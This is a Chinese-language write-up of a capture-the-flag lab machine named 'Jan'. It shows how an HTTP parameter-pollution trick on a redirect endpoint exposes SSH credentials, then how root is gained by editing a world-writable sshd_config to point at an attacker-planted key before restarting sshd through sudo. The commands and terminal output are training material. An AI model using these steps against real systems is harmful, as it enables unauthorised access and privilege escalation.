Jan.
Notes: CTF Like. Have fun!
信息收集
17
是靶机
1 | ┌──(root㉿kali)-[~] |
1 | ┌──(root㉿kali)-[~] |
1 | ┌──(root㉿kali)-[~] |
使用过nmap
的script
模块扫描漏洞的时候会卡住,所以就没有这一步骤
优先级:8080
> 22
8080 端口渗透
访问主页:Welcome to our Public Server. Maybe Internal.
(欢迎来到我们的公共服务器,也可能是内部服务器)意味深长
扫描一下目录
1 | ┌──(root㉿kali)-[~] |
存在robots.txt
文件,提示了两个路径
1 | /redirect |
分别访问两个路径,首先是redirect
,提示需要一个url
参数
然后是credz
,提示:Only accessible internally.
(仅供内部访问)
这里应该是要使用redirect
使用url
参数来指向credz
,来尝试一下
但是会发现提示:Only accessible internally.
最后经过测试发现在/redirect
加上url
参数后就会提示Only accessible internally.
,这应该是要有别的做法
然后再尝试一下使用X-Forwarded-For
,但是我尝试了一会还是一无所获
但是这是CTF
题,所以尝试使用两个url
参数
最后通过构造:/redirect?url=1&url=/credz
成功获取到信息
这一看应该是个ssh
账户,一开始以为EazyLOL
是个账户,但是通过密码爆破后无果,最后发现ssh
是账户,EazyLOL
是密码
1 | ┌──(root㉿kali)-[~] |
UserFlag
进来后就可以在当前目录发现user.txt
1 | jan:~$ cat user.txt |
内网信息收集
查看jan
用户sudo
权限
1 | jan:~$ sudo -l |
发现可以在使用root
权限来执行/sbin/service sshd restart
,应该重点是在ssh
服务上了
提权 - ssh 公钥劫持
查看一下
ssh
目录的权限,发现ssh_config
和sshd_config
拥有修改权限1
2
3
4
5
6
7
8
9
10
11
12
13
14
15jan:/etc/ssh$ ls -al
total 580
drwxr-xr-x 4 root root 4096 Jan 28 09:02 .
drwxr-xr-x 32 root root 4096 Jan 28 10:25 ..
-rw-r--r-- 1 root root 541716 Dec 3 15:08 moduli
-rw-rw-rw- 1 root root 1708 Jan 28 10:30 ssh_config
drwxr-xr-x 2 root root 4096 Jan 28 09:02 ssh_config.d
-rw------- 1 root root 505 Jan 28 09:01 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 170 Jan 28 09:01 ssh_host_ecdsa_key.pub
-rw------- 1 root root 399 Jan 28 09:01 ssh_host_ed25519_key
-rw-r--r-- 1 root root 90 Jan 28 09:01 ssh_host_ed25519_key.pub
-rw------- 1 root root 2590 Jan 28 09:01 ssh_host_rsa_key
-rw-r--r-- 1 root root 562 Jan 28 09:01 ssh_host_rsa_key.pub
-rw-rw-rw- 1 root root 3355 Jan 28 09:01 sshd_config
drwxr-xr-x 2 root root 4096 Jan 28 09:02 sshd_config.dssh-keygen -t rsa
是用来生成 RSA 类型的 SSH 密钥对的命令。执行这个命令会生成一个公钥和一个私钥文件,用于 SSH 连接认证会在家目录生成
.ssh
文件夹1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23jan:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ssh/.ssh/id_rsa):
Created directory '/home/ssh/.ssh'.
Enter passphrase for "/home/ssh/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ssh/.ssh/id_rsa
Your public key has been saved in /home/ssh/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4Wrwsmcg6Ixn40sYR7Dm5XNkkrmmvEyyUrhvaYkEfEY ssh@jan
The key's randomart image is:
+---[RSA 3072]----+
|. |
| o Eo |
|o.o= o . |
|+ooo= . . |
|o++=.. S |
|+== +o . |
|BB.+..+ |
|O=X +o |
|oX+o.o |
+----[SHA256]-----+
jan:~$将
id_rsa.pub
名字进行修改,然后将内容的最后的结尾的ssh
修改为root
(不会影响加解密但是会将其混淆)1
jan:~/.ssh$ mv id_rsa.pub attack_keys
1
9fglITVq2jKR2UXcDNIYyZeMLz5LU7bUdQluDYSU/LmJ2FsaT7KQ1EAnZbsOGrZlz9/U56c8J+58DvCxCpJVhf5yxQITD11DAVlZQpxX+Ws2n72Sp9Myxzm1s9/2DcA4aueVI/zc8gLuN/WpWcWs= root@jan
修改
sshd_config
配置文件1
2
3PermitRootLogin yes
StrictModes no
AuthorizedKeysFile /home/ssh/.ssh/attack_keys参数解释:
- PermitRootLogin yes:允许
root
用户通过 SSH 登录。 - StrictModes no:禁用权限严格检查,避免因权限问题阻止 SSH 登录。
- **AuthorizedKeysFile
/home/ssh/.ssh/attack_keys
**:指定使用自定义的公钥文件attack_keys
。
- PermitRootLogin yes:允许
修改
ssh_config
,注释掉banner
1
#Banner /etc/shadow
重启服务,并使用密钥文件进行登录,即可获得
root
权限1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20jan:~/.ssh$ sudo /sbin/service sshd restart
* Stopping sshd ... [ ok ]
* Starting sshd ... [ ok ]
jan:~/.ssh$ ssh root@localhost -i id_rsa
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
jan:~# ls
root.txt ver.sh
jan:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
jan:~#
RootFlag
1 | jan:~# cat root.txt |